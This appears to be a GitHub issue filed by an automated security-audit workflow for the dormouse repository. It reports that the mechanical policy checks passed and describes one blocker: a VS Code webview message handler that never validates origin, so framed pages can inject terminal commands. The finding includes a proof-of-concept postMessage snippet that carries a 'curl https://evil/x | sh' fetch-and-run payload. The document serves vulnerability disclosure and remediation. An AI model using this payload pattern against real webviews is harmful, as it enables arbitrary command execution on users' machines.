Skip to content

[security-audit] FAIL on 2026-07-27 #301

Description

@github-actions

Audit failed at 2026-07-27T08:06Z. Run

Security Audit Report

Audited against SECURITY.md on 2026-07-27, repo diffplug/dormouse, HEAD 8cfc0a1 (main, clean working tree).

FAIL IF results

Dependency Supply Chain

  1. node website/scripts/generate-deps.js changes tracked dep JSONs from a clean checkout — PASS. Ran the script from the current checkout; git status --porcelain website/src/data/ was empty afterward (no diff produced).
  2. Root package.json missing/invalid devEngines.runtime.version — PASS. package.json has devEngines.runtime.version: "24.18.0" (exact MAJOR.MINOR.PATCH).
  3. standalone/src-tauri/build.rs no longer verifies bundled Node matches the pin — PASS. build.rs:37-43 calls read_pinned_node_version() then verify_node_version() before bundling; verify_node_version (line ~191-220) runs node --version on the binary and fails the build on mismatch.
  4. build-standalone job doesn't install the pinned runtime via devEngines.runtime.versionsetup-node — PASS. .github/workflows/release.yml:39-41 uses actions/setup-node@8207627... (pinned to v7.0.0) with node-version-file: package.json. Verified against the action's actual source at that pinned SHA (src/util.ts): it reads manifest.devEngines?.runtime before falling back to engines.node, so this genuinely resolves the devEngines pin, not just a comment claim.
  5. pnpm-workspace.yaml missing minimumReleaseAge: 1440 — PASS. pnpm-workspace.yaml:23 sets minimumReleaseAge: 1440.
  6. .github/renovate.json missing npm/cargo in enabledManagers — PASS. enabledManagers: ["github-actions", "npm", "cargo"].
  7. .github/renovate.json missing minimumReleaseAge package rules for npm/cargo — PASS. Three packageRules entries set minimumReleaseAge of "1 day"/"3 days"/"14 days" for patch/minor/major on matchManagers: ["npm", "cargo"].

GitHub Actions Policies

  1. pull_request_target outside tend-*.yaml — PASS. grep -rl pull_request_target .github/workflows/ returns only tend-review.yaml.
  2. Non-agent-managed workflow grants write perms beyond id-token: write/attestations: write (or release.yml's security-audit job actions: write) — PASS. chromatic.yml, ci.yml declare only contents: read. release.yml's build-standalone/build-vscode jobs grant contents: read, id-token: write, attestations: write (the accepted provenance set); the security-audit job grants contents: read, actions: write (the explicitly documented exception); publish-vscode has no job-level override and inherits the workflow-level contents: read.

Automated Maintainer (tend)

  1. Merge access ruleset missing/misconfigured — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/rulesets/16757376 → target branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}] only, bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] (admin-only, sole bypass actor).
  2. Tag operations ruleset missing/misconfigured — PASS. rulesets/16757382 → target tag, ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same admin-only sole bypass actor (actor_id: 5).
  3. dormouse-bot holds permission higher than push — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission{"permission":"write", "permissions":{"admin":false,"maintain":false,"push":true,...}}.
  4. OVSX_PAT/VSCE_PAT present as repo-level secret — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/secrets lists only CHROMATIC_PROJECT_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN. Both PATs exist only under environments/vscode-extension-publish/secrets.
  5. Environment deployment-branch-policy admits a ref not admin-gated — PASS. vscode-extension-publish policy = v* tag only (admin-gated by Tag operations). security-audit policy = main + v* tag (both admin-gated, by Merge access and Tag operations respectively).
  6. AUDIT_PAT missing from security-audit env, or present at repo level — PASS. Present under environments/security-audit/secrets (AUDIT_PAT, updated 2026-05-22); absent from the repo-level secret list in check 13.
  7. CHROMATIC_PROJECT_TOKEN missing from secrets.allowed in .config/tend.yaml — PASS. .config/tend.yamlsecrets: allowed: [CHROMATIC_PROJECT_TOKEN].
  8. ANTHROPIC_API_KEY reachable at repo/org level while tend-*.yaml still passes it — PASS (no violation). No ANTHROPIC_API_KEY in the repo-level or org-level secret listings; all 8 tend-*.yaml files still pass anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} (matches the documented "inert plumbing" state).
  9. Org-level secret other than BUILDCACHE_USER/NEXUS_USER visible to repo — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/organization-secrets returns exactly those two, nothing else.
  10. workflow-audit.yaml missing/disabled/no successful run in 48h — PASS. Workflow state: "active"; most recent successful run created_at: 2026-07-26T09:21:12Z, ~22.5 hours before this audit (2026-07-27T07:54Z).
  11. Unpinned action reference in tend-*.yaml — PASS. All tend-*.yaml use @v7 / @0.1.11 style tag pins (accepted for this file per spec), none use @main or no version.
  12. Agent-managed workflow grants a permission beyond the allowed set — PASS. security-audit.yaml: contents: read, actions: read, issues: write, id-token: write. workflow-audit.yaml: contents: read, issues: write, actions: read. All 8 tend-*.yaml: subsets of contents: write, pull-requests: write, id-token: write, actions: read, issues: write. All within the allowed set.

VS Code Extension Releases

  1. release.yml missing vscode-extension-publish environment on publish job — PASS. publish-vscode job declares environment: name: vscode-extension-publish.
  2. VSCE_PAT/OVSX_PAT used outside that environment — PASS. grep -rn "VSCE_PAT\|OVSX_PAT" .github/ finds both only inside the publish-vscode job's steps (lines 325, 337).
  3. release.yml uses production desktop signing secrets in CI — PASS. grep -i "APPLE_SIGN_PASS\|EV_SIGN_PIN\|MACOS_IDENTITY\|JSIGN\|codesign\|CSC_" against release.yml finds none; the only Tauri-signing-key reference is the ephemeral CI key (see next check).
  4. release.yml stops generating an ephemeral updater key — PASS. build-standalone job step "Generate ephemeral Tauri updater key" runs tauri signer generate --ci --write-keys ... --force and exports it as TAURI_SIGNING_PRIVATE_KEY for that job only.

Desktop Releases

  1. scripts/sign-and-deploy.sh stops verifying attestations — PASS. verify_downloaded_artifact() calls gh attestation verify "$manifest" --repo ... --cert-identity ... --source-digest "$tag_sha".
  2. scripts/sign-and-deploy.sh stops verifying SHA-256 manifests — PASS. Same function calls check_sha256_manifest, which runs sha256sum -c/shasum -a 256 -c against the manifest.
  3. scripts/sign-and-deploy.sh stops using PIV-backed Windows signing — PASS. sign_windows() invokes jsign --storetype PIV --storepass "$EV_SIGN_PIN" --alias "$JSIGN_ALIAS" ....

CI Validation Contract

  1. security-audit.yaml missing/disabled/not invoked from release.yml's publish path — PASS. Workflow state: "active"; release.yml's security-audit job dispatches it via gh workflow run security-audit.yaml and gh run watch ... --exit-status, and publish-vscode lists security-audit in needs:.
  2. Audit weakened (qualitative pass removed, a FAIL IF ignorable, failure-reporting/issue step removed, AUDIT_PAT pre-check removed/bypassed) — PASS. security-audit.yaml step "Verify AUDIT_PAT is provisioned" hard-fails (exit 1) if the secret is empty; the Claude prompt explicitly requires the qualitative pass and forbids treating any FAIL IF as ignorable; the "Surface result, file or close issue" step (if: always()) opens/updates the security-audit-failure-labeled issue on FAIL and auto-closes on PASS, and exits non-zero on FAIL.

All 30 mechanical FAIL IF checks: PASS.

Qualitative findings

BLOCKER — VS Code webview message handler has no origin/source check, allowing PTY command injection from framed content

File: lib/src/lib/platform/vscode-adapter.ts:58-133 (handler installed in the constructor, window.addEventListener('message', (event) => {...})).

The handler branches purely on event.data.type ('pty:data', 'dor:controlRequest', etc.) and never checks event.origin or event.source. In particular, for type === 'dor:controlRequest' (line 116), it unconditionally dispatches a dormouse:control-request CustomEvent carrying method/params straight from the untrusted message. lib/src/components/wall/use-dor-control.ts listens for that event and, for SURFACE_CONTROL_METHODS.send (line 618), calls getPlatform().writePty(target.id, input) with no further authentication — this is the same trust boundary that the real dor CLI → control-socket path authenticates with a token (dor-cli.md), but here it is reachable purely by posting a same-shaped browser message.

The VS Code webview embeds a real, scriptable <iframe> for dor iframe/agent-browser surfaces (lib/src/components/wall/IframePanel.tsx:332-338), sandboxed with allow-scripts allow-same-origin allow-forms allow-popups allow-modals allow-downloads for proxied content, and with no sandbox at all for the "raw" fallback path (resolution.kind === 'raw', same file, conditional spread at line 337). Both permit executing JavaScript that calls window.parent.postMessage(...) cross-origin — postMessage is explicitly designed to cross the sandbox/origin boundary, so allow-scripts alone is sufficient for the exploit.

Concrete failure scenario: a user opens dor iframe https://attacker.example (or an agent-browser session navigates to a compromised/malicious page) inside a Dormouse pane running under the VS Code extension. That page's JavaScript runs:

window.parent.postMessage({
  type: 'dor:controlRequest', requestId: 'x', method: 'surface.send',
  params: { surface: '<any-known-surface-id>', input: 'curl https://evil/x | sh\n' }
}, '*');

This is delivered as a same-window message event to vscode-adapter.ts's listener (there is no separate window per iframe from the top document's perspective — postMessage targets are windows, and parent/top from inside the iframe is the webview's top window), which dispatches the CustomEvent, which use-dor-control.ts turns directly into a PTY write — arbitrary shell command execution in any terminal the attacker can address, without ever touching the control-socket token check. The same unguarded channel also lets framed content forge pty:data/pty:list/pty:replay to spoof terminal state.

This affects the VS Code extension host specifically. The Tauri standalone (standalone/src/tauri-adapter.ts:149) and the dev-only browser-sidecar harness (standalone/src/browser-sidecar-adapter.ts:263) receive the equivalent event over Tauri's listen() IPC channel / an internal host WebSocket respectively, not raw window.postMessage, so they are not exposed to this specific forgery path. IframePanel.tsx's own message handler (line 255, if (e.origin !== proxyOrigin) return;) shows the codebase already knows how to validate event.origin correctly — vscode-adapter.ts's handler is the outlier.

Fix direction: the webview should reject any message event whose event.source is not the VS Code host bridge, or embed a per-session nonce/token at webview boot that all extension-host-originated messages must carry and that framed content cannot obtain, before trusting dor:controlRequest (and ideally the other message types too).

INFO — No other qualitative issues found

A broader sweep of .github/workflows/*.yaml/*.yml, .config/tend.yaml, .github/renovate.json, and scripts/ found no script-injection vectors: every place that carries PR/issue/comment text (tend-mention.yaml lines 180-191, 240, 252) passes it through an env: mapping rather than interpolating ${{ }} directly into a run: shell string, which is the GitHub-recommended safe pattern; the one pull_request_target workflow (tend-review.yaml) and the PR-branch checkouts in tend-mention.yaml/tend-*.yaml match the threat model already documented and accepted in SECURITY.md's "Automated Maintainer (tend)" section (bot-scoped TEND_BOT_TOKEN, no reach to main/tags/env-scoped secrets). scripts/sign-and-deploy.sh and scripts/bump-version.sh validate/quote inputs (semver regex, quoted path expansions) and run only as a local, human-operated release step. The remote-security code (server-lib-common/src/security/, lib/src/remote/host/, dor/src/control-client.ts, standalone/sidecar/dor-control-server.js) uses CSPRNG token generation, constant-time comparisons, single-use challenges, and restrictive file permissions (0o600/0o700), consistent with docs/specs/remote-security-model.md.

Summary

Overall: FAIL.

Every mechanical FAIL IF check in SECURITY.md passes — the dependency pinning, Actions permission scoping, ruleset/bypass-actor configuration, dormouse-bot scoping, secret/environment placement, and release-signing pipeline all match the spec's claims exactly, verified against live gh api output (with AUDIT_PAT for admin-scoped endpoints) and the actual workflow/script contents rather than just the documentation. However, the qualitative pass — which SECURITY.md's CI Validation Contract explicitly requires and treats as gating — surfaced one BLOCKER: the VS Code extension host's webview message listener (lib/src/lib/platform/vscode-adapter.ts) trusts dor:controlRequest messages without any origin/source validation, and the same webview renders a real, scriptable <iframe> for browser/iframe surfaces that can reach that listener via cross-origin postMessage, giving framed page content a path to arbitrary PTY command execution that bypasses the control-socket's own token authentication. Per SECURITY.md's stated grading rule ("Status is FAIL if any FAIL IF is violated or any qualitative finding is BLOCKER"), this BLOCKER alone determines the overall result.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions